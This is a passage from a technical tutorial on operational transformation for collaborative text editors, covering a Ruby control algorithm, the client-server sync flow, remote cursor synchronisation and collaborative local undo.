&lt;p&gt;Just remember that you have to fill in every one of those squares. You can only have one operation per side of a square. And for every square, traveling across the top then right side has to result in the same value as traveling down the left then bottom side.&lt;/p&gt;
&lt;p&gt;So your transformation algorithm is a little bit like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Take two lists of operations: the top list and the left list.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create two empty lists: the right list and the bottom list.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Transform the first top operation and first left operation to get the bottom and right values.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Push the bottom value onto the bottom list.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hold on to the right value (I call it &quot;transformed left&quot;) because you will use it next.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/ce45641b0e70fa6c238849abbbaeb019/transform-square-bottom-left.png&quot; alt=&quot;Transform square with bottom/left filled in&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Take the bottom operation you get back, and push it onto the bottom list.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you have any more top elements, you just keep turning the right one into the new left one and keep going.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once you reach the end of a row, push the last right value onto your right list.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/d1087f9ae1c8e1806e3fdec13a97e25b/transform-square-bottom-right.png&quot; alt=&quot;Transform square with bottom left/right filled in&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now you have one element in your right list and a full row of bottom operations. Turn your bottom list into the new top list and repeat this whole process with the second element of the left list. Eventually, you get all the way to the bottom and complete both your lists.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/0266fd22fa0205b68a980e4986d8edf4/transform-square-bottom.png&quot; alt=&quot;Transform square with bottom half filled in&quot;&gt;&lt;/p&gt;
&lt;p&gt;It might help to see this in code:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; transform&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(left, top)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  left &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Array&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(left)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  top &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Array&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(top)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [left, top] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; left.empty? &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; top.empty?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; left.length &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; top.length &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    right &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; transform_operation(left.first, top.first, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    bottom &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; transform_operation(top.first, left.first, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Array&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(right), &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Array&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(bottom)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  right &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  bottom &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  left.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |left_op|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    bottom &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    top.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |top_op|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      right_op, bottom_op &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; transform(left_op, top_op)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      left_op &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; right_op&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      bottom.concat(bottom_op)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    right.concat(left_op)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    top &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; bottom&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  [right, bottom]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first thing to do is to make sure we are only dealing with arrays to make the code simpler later on. This way, for the rest of our control algorithm, we are only thinking about transforming lists of operations.&lt;/p&gt;
&lt;p&gt;Next, we handle some simple cases. If either our left list or top list is empty, that means we do not have to do anything. From a user&apos;s perspective, it would be when you were the only one who made changes or you walked away from your desk while someone else was making changes. There is nothing to transform.&lt;/p&gt;
&lt;p&gt;If you are only transforming one operation against another operation, this is exactly the same transform method as the simple squares you saw earlier. You transform the left operation against the top operation to get the right operation, and then you do it in reverse to get the bottom operation.&lt;/p&gt;
&lt;p&gt;Now for the tricky part — when we have multiple operations in a row. Lines 13 and 14 create some empty arrays to hang onto our transformed operations as we get them. For the first row, we go through each operation on the top.&lt;/p&gt;
&lt;p&gt;We transform them by calling this transform function recursively — usually, this will hit one of those two easy cases, so it is not worth thinking about too hard. It returns new transformed operations, which we will hold on to.&lt;/p&gt;
&lt;p&gt;We get back a right operation. And remember, we use that operation as the new left operation the next time around. So let&apos;s set the right operation to the left operation. Next, we take the bottom operation we got back, and add it to the bottom list.&lt;/p&gt;
&lt;p&gt;Once we are done with a whole row, the last operation is the one we end up with, so we add it to our right list. This uses left_op, but at this point, left_op and right_op are equal.&lt;/p&gt;
&lt;p&gt;And then, for the next time through the loop, our bottom list of operations becomes the new top list, and we keep going through. This is just like the second iteration we saw before.&lt;/p&gt;
&lt;p&gt;And, when this is done, we return the right and bottom lists back to the user. Piece of cake, right?&lt;/p&gt;
&lt;p&gt;Now, one upside — you probably will not have to ever write that yourself. And that is because control algorithms are generic. You could use that same function for all kinds of different apps and never have to change it. Your control algorithm doesn&apos;t care at all about what your operations actually do.&lt;/p&gt;
&lt;p&gt;What should your operations actually do? Whatever your application wants!&lt;/p&gt;
&lt;p&gt;As long as you can write transformation functions that do not violate the transformation properties, you can invent new operations all day. This is great because you can get closer and closer to representing what a person is actually doing.&lt;/p&gt;
&lt;p&gt;But like everything, there is a tradeoff. The richer operations you have, the more operations you tend to have. And the more operations you have, the more transformation functions you have to write and the harder it is to get them right.&lt;/p&gt;
&lt;p&gt;When I worked on this problem, I had 13 different operations and I ended up writing over a hundred transformation functions. But having more specific operations meant I could keep some really strong user intent when two people were editing the same part of the document.&lt;/p&gt;
&lt;h2&gt;How can you make collaboration easier?&lt;/h2&gt;
&lt;p&gt;There are some things you can do to make writing a collaborative editor easy and other things that can make it nearly impossible.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Think in operations, not state changes: If you are planning to transform operations, you have to speak in terms of operations — the actions a person can take. If you are only storing full document states, you might have a tough road ahead of you.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There are ways around this. You can sometimes look at diffs of your document and infer operations from them. But you lose a lot of user intent that way. Think &quot;insert t at position 1&quot; not &quot;The document changed from a to at.&quot;&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Keep things linear: It is much easier if you can treat your document as an array of things — characters, rich objects, whatever. To transform array indexes is just addition and subtraction. You can sometimes represent trees linearly, too. Just have items in your array that mean &quot;enter subtree&quot; or &quot;exit subtree.&quot; In this case it is still easy to transform, but a little harder to work with.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;An array of characters is easier to transform than hierarchical data, but it&apos;s not the worst thing if you have to transform trees. Instead of using indexes, you can use arrays of indexes. For example, this node could be reached by the path [1, 1] &quot;child 1 of child 1.&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/ac3a042b42a17d8ec028693efea4791a/transform-hello-world-path.png&quot; alt=&quot;Transform node path&quot;&gt;&lt;/p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Make your data as transformable as possible: Strings can be transformed pretty easily. You can figure out something to do with numbers, like add them. If you have conflicting edits to a custom object, though, your decisions are a lot harder.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;How does this fit together?&lt;/h2&gt;
&lt;p&gt;We have document states. (Let&apos;s call them an array of characters to keep things simple.) Documents also have a version. Each client, as well as the server, has a copy of the document at a certain point.&lt;/p&gt;
&lt;p&gt;You apply an operation on your own document right away so you do not have to wait to see it. Then you send it to a server, which sends it to other clients.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/c951d16c29cac241d2c25f2817dc369c/insert-bang.png&quot; alt=&quot;Inserting a &amp;#x22;!&amp;#x22;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sometimes, the server will say, &quot;That is fine, I have not seen any new operations yet, my version is the same as yours.&quot; It will acknowledge your version, you update your document version, and everyone is in sync.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/ed3862f4a6251ada4c4ab81266597783/insert-bang-ack.png&quot; alt=&quot;Inserting &amp;#x22;!&amp;#x22; acknowledged&quot;&gt;&lt;/p&gt;
&lt;p&gt;Other times, the server will say, &quot;I cannot take that operation because I have seen a different document. But here are all the operations between your version and the one that I have.&quot;&lt;/p&gt;
&lt;p&gt;When that happens, you transform those operations against yours because yours has already happened from your perspective. Remember? You ran it right away. Then, you apply the operations from the server, which you transformed, to your document.&lt;/p&gt;
&lt;p&gt;Afterward, you transform your operation against all of the server&apos;s operations because, from the server&apos;s perspective, your operation happened after theirs. The server has not seen yours yet. Then you send that transformed version back to the server — hopefully, this time, the server will accept it. That process looks like the one shown below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2fce0ee7ab8296f5aa7ca4ac3cc8d87a/insert-bang-reject.png&quot; alt=&quot;Inserting &amp;#x22;!&amp;#x22; rejected&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, everything is consistent. If there&apos;s more than one operation happening at the same time, we have to do a little more work but the idea is still the same.&lt;/p&gt;
&lt;h2&gt;What else do you need?&lt;/h2&gt;
&lt;p&gt;When you transform operations, you can build a text editor that can handle multiple people editing at the same time. But that is not quite enough to really deliver a great experience. And I will show you two reasons why.&lt;/p&gt;
&lt;p&gt;First, if you have a few people editing the same document, it can seem to the user as though letters and words just appear out of nowhere. The user has no idea where to expect changes or what is about to happen until it happens. It would be nice if the cursors of the other people editing the document were visible so that users have some idea what to expect.&lt;/p&gt;
&lt;p&gt;Second, let&apos;s say the user makes a mistake while typing and hits undo. There are two different changes the text editor could undo: Should it undo the last change you made? Or the last change anyone made?&lt;/p&gt;
&lt;p&gt;Let&apos;s call the scenario where you only undo your own changes &quot;local undo.&quot; And the second, where you can undo other people&apos;s changes &quot;global undo.&quot;&lt;/p&gt;
&lt;p&gt;If you have tried text editors with each of these different styles of undo, it quickly becomes obvious that local undo is what feels normal. If you type a character, undo should remove that character, regardless of what anyone else typed afterward. To have a great collaborative editor, we need to add cursor reporting and local undo.&lt;/p&gt;
&lt;h2&gt;Cursor synchronization&lt;/h2&gt;
&lt;p&gt;Let&apos;s start with a bit of a philosophical question. What is a cursor, really? If your document is a list of things, a cursor is really just an position in that array.&lt;/p&gt;
&lt;p&gt;In the document below, you have &quot;Hello&quot; and my cursor is before the &quot;e.&quot; You can say the cursor is at position 1. If it was after the &quot;o,&quot; you would say it is at position 5.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2580497c48afc8f4e42e7c26937c5ae5/cursor-position-1.png&quot; alt=&quot;Cursor position 1&quot;&gt;&lt;/p&gt;
&lt;p&gt;What about other people&apos;s cursors? They can also be numbers, but you probably also want to know whose cursor is whose. You can attach some kind of identifier. We will just use a number and call it a client ID. So, there are two numbers: a position and a client id.&lt;/p&gt;
&lt;p&gt;Now our document is a little more complicated but not too bad. We have our list of things, a version, our own cursor offset, and a list of remote cursors. This is enough that you could render your text editor and those cursors however you want.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/8ab95189f80d6953523ec7e04a986b55/cursor-other-position-5.png&quot; alt=&quot;Other cursor, position 5&quot;&gt;&lt;/p&gt;
&lt;p&gt;What would happen when you add a character or delete a character? Let&apos;s go back to our first example, &quot;cart.&quot; Let&apos;s say we are looking at our screen and client 2 left their cursor at position 2, in between &quot;a&quot; and &quot;r.&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/881585393dc9f274f866395fd919fa9c/cursor-insert-character.png&quot; alt=&quot;Cursor when inserting character&quot;&gt;&lt;/p&gt;
&lt;p&gt;And then we run the operation, &quot;insert h at position 1.&quot; Now we have &quot;chart.&quot; Where should it draw the cursor for client 2? It would make the most sense to keep it where it was — between &quot;a&quot; and &quot;r,&quot; right?&lt;/p&gt;
&lt;p&gt;So we can pretend that &quot;place cursor at this position&quot; is an operation, and we transform it against our &quot;insert h at position 1&quot; operation as shown below. We inserted a character before the cursor, so we move it over one spot.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/288d7fd289d09552d6b6dbd8f0f1ae1d/cursor-insert-result.png&quot; alt=&quot;Cursor result of inserting character&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is our rule: Any time you perform an operation, you need to transform all the cursors you know about against that operation to keep them in the right place. These transformations tend to be pretty easy — most are exactly the same as the insert_text transformations since you are just moving a position in both of them.&lt;/p&gt;
&lt;p&gt;Once you receive a cursor from another client, you need to know one other piece of information. What version of the document did that cursor come from?&lt;/p&gt;
&lt;p&gt;If the cursor is a position on a document version your client has not seen yet, your client cannot draw it — because you do not have that document. The cursor could be pointing to position 15, but your document only has 10 characters. So you can hold onto the cursor for later (if you want) or ignore it and hope the other client sends it again later.&lt;/p&gt;
&lt;p&gt;If the cursor placement is from an older version, it also might not apply to the current version of  the document. When that happens, you could transform the cursor across all the operations between that version. For example, if your document is version 2 and you see a version 1 cursor, you could transform it against the operation that took your document from version 1 to version 2. Or you could also ignore it if you are expecting to see an updated cursor soon enough.&lt;/p&gt;
&lt;p&gt;If the cursor is on the same version, you might think this is the all-clear. And it is… but only if the server has acknowledged all of your operations. But if you are at version 15, and another client&apos;s cursor is on version 15, but you have run an insert &quot;h&quot; operation that you have not sent to the server yet? Well, it looks like this.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/25982c2a9dfc4dfe997f04dd51164507/cursor-transform.png&quot; alt=&quot;Cursor transform&quot;&gt;&lt;/p&gt;
&lt;p&gt;You have to transform the other client&apos;s cursor against that operation. That client sent you a cursor at position 3 and you have to move it to position 4.&lt;/p&gt;
&lt;p&gt;How about sending your cursor? You can send your cursor any time, as long as you have not made any changes that the server has not confirmed yet. Otherwise, your cursor might not make sense to clients and they will not know what to do. Once the server confirms your operations, you can start sending your cursor again.&lt;/p&gt;
&lt;h2&gt;Collaborative undo&lt;/h2&gt;
&lt;p&gt;Just like with cursors, to figure out how to handle local undo, we have to understand how undo usually works. Remember, we are thinking in operations — &quot;insert ‘a&apos; at position 3.&quot;&lt;/p&gt;
&lt;p&gt;How would you undo that? You would run the operation, &quot;remove ‘a&apos; at position 3.&quot; How would you redo? You would run the operation, &quot;insert ‘a&apos; at position 3.&quot;&lt;/p&gt;
&lt;p&gt;These two operations are inverses of each other — they cancel each other out. If you run an operation and then run its inverse, it is as though the original operation never happened. Which is exactly what you want with undo.&lt;/p&gt;
&lt;p&gt;Undo also works like a stack. The last thing you did is the first thing you undo.&lt;/p&gt;
&lt;p&gt;So, if our text editor was not collaborative, here is how you would apply an operation with undo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You perform an operation, like &quot;insert h before position 1.&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You invert that operation, so it becomes &quot;remove h at position 1.&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Then, you push that inverted operation onto the undo stack.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What about when you hit undo?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You pop the operation (&quot;remove h at position 1&quot;) off the stack.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You apply it as if you were performing it to begin with.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Then, if you want to support redo, you invert it again and push the inverse onto the redo stack.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Simple enough, right? Let&apos;s see how that breaks when other people are collaborating with you. You run &quot;insert s, 4&quot; — that pushes &quot;remove s, 4&quot; onto the undo stack. And you send the insert to the server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/0a8d68dacdcbb35b0d8fa8d3e5329205/undo-insert-s-4.png&quot; alt=&quot;Undo - insert &amp;#x22;s&amp;#x22; at 4&quot;&gt;&lt;/p&gt;
&lt;p&gt;A little bit later, the server sends you the operation, &quot;insert h at 1&quot; — this is not happening simultaneously, so you do not have to transform it. Now our state is &quot;charts.&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/674145a75972983312c62bb726d57177/undo-server-h-1.png&quot; alt=&quot;Undo - server inserts &amp;#x22;h&amp;#x22; at 1&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now look at our undo stack. What would happen if you hit undo? You would run &quot;remove s at 4&quot; — but there is no &quot;s&quot; at position 4, right?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/f2d50e520c0fbf9b101cf10f82f6fccb/undo-remove-s-4.png&quot; alt=&quot;Undo - remove s at 4 (but s has moved)&quot;&gt;&lt;/p&gt;
&lt;p&gt;Clearly, we are missing a step. When you get the operation from the server, you need to transform all the operations in your undo stack against that operation. So, the undo stack is &quot;remove s, 4.&quot; We receive &quot;insert h, 1″ and have to transform the undo stack so it looks like &quot;remove s, 5.&quot;&lt;/p&gt;
&lt;p&gt;Now, when we undo, we run &quot;remove s at 5&quot; it deletes the &quot;s&quot; at position 5 and everything is great.&lt;/p&gt;
&lt;p&gt;When you receive an operation, you have to transform the undo stack against that operation. Luckily, we already have a function (that big transform one from earlier) that is really good at transforming lists of operations against other lists of operations.&lt;/p&gt;
&lt;p&gt;We can just use this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; transform_stacks&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(remote_op)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.undos, _ &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; transform(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.undos, remote_op)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.redos, _ &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; transform(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.redos, remote_op)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is how collaborative local undo would work then:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;When you perform an operation, invert it and push it on the stack.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When you receive an operation, transform the stack against it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When you undo, pop the top item off the stack and run it, sending it to the collaboration server.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This mostly works, but it is not perfect. In fact, it can violate some rules that you should have with undo. For example, if every client undoes a set of operations and then redoes them, the document should be in the same state as it was originally. Sometimes, with this method, it is not.&lt;/p&gt;
&lt;p&gt;But this is a pragmatic balance between complexity and good-enough behavior. And I am not the only one who thinks so — almost all collaborative text editors that I have used, including Google Docs, can fail undo in the exact same ways.&lt;/p&gt;
&lt;h2&gt;Putting it all together&lt;/h2&gt;
&lt;p&gt;The following is enough to make collaboration work with any kind of app. You start with a document, which can be as simple of an array of things, a version, a cursor, a list of remote cursors, and an undo stack. You have operations that act on that state, such as insert character and remove character. These operations know which version of the document they came from.&lt;/p&gt;
&lt;p&gt;You have a set of transformation functions, which take two operations that happened at the same time and transform them so they can be run one after the other.&lt;/p&gt;
&lt;p&gt;You have a control algorithm, which can take two lists of operations and transform each side against each other to come up with documents that end up in the same place. You have functions to transform cursors and functions to send and receive cursors, transforming them on the way in.&lt;/p&gt;
&lt;p&gt;And you have an undo stack and a redo stack, which hold inverted operations that get transformed whenever a remote operation comes in.&lt;/p&gt;
&lt;p&gt;When you perform an operation, you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Apply it to your document.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Transform all the cursors against it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Send it to the server.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Send your current selection once everything calms down.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you receive an operation, you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Transform your pending operations against it to complete the transformation square.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Apply the transformed operation to your document, and send your pending transformed operations to the server.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Transform all the cursors you know about against the operation you received and transformed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Transform your undo stack against it as well.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you change your cursor position and you have no pending operations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Send your current cursor position.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you get a cursor from someone else:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If the cursor is for an older version of the document, either ignore it, or transform it up to your current version.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If it is for the current version of the document, transform it against any pending operations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If it is for a future version of the document, either ignore it or hold onto it until you see that version of the document.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Where to go next&lt;/h2&gt;
&lt;p&gt;There are a lot of ways to build collaborative applications, but this is a good one to start with. It works for all different kinds of apps, it is not too hard to build, and it is extremely flexible. It is a model you will see a lot of companies use.&lt;/p&gt;
&lt;p&gt;But it is not perfect because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This model needs a server to work.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There are some edge cases, especially around undo, that would add a lot of complexity if you want to fix them.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Depending on what you are building, there are other collaboration methods that might be easier or more correct.
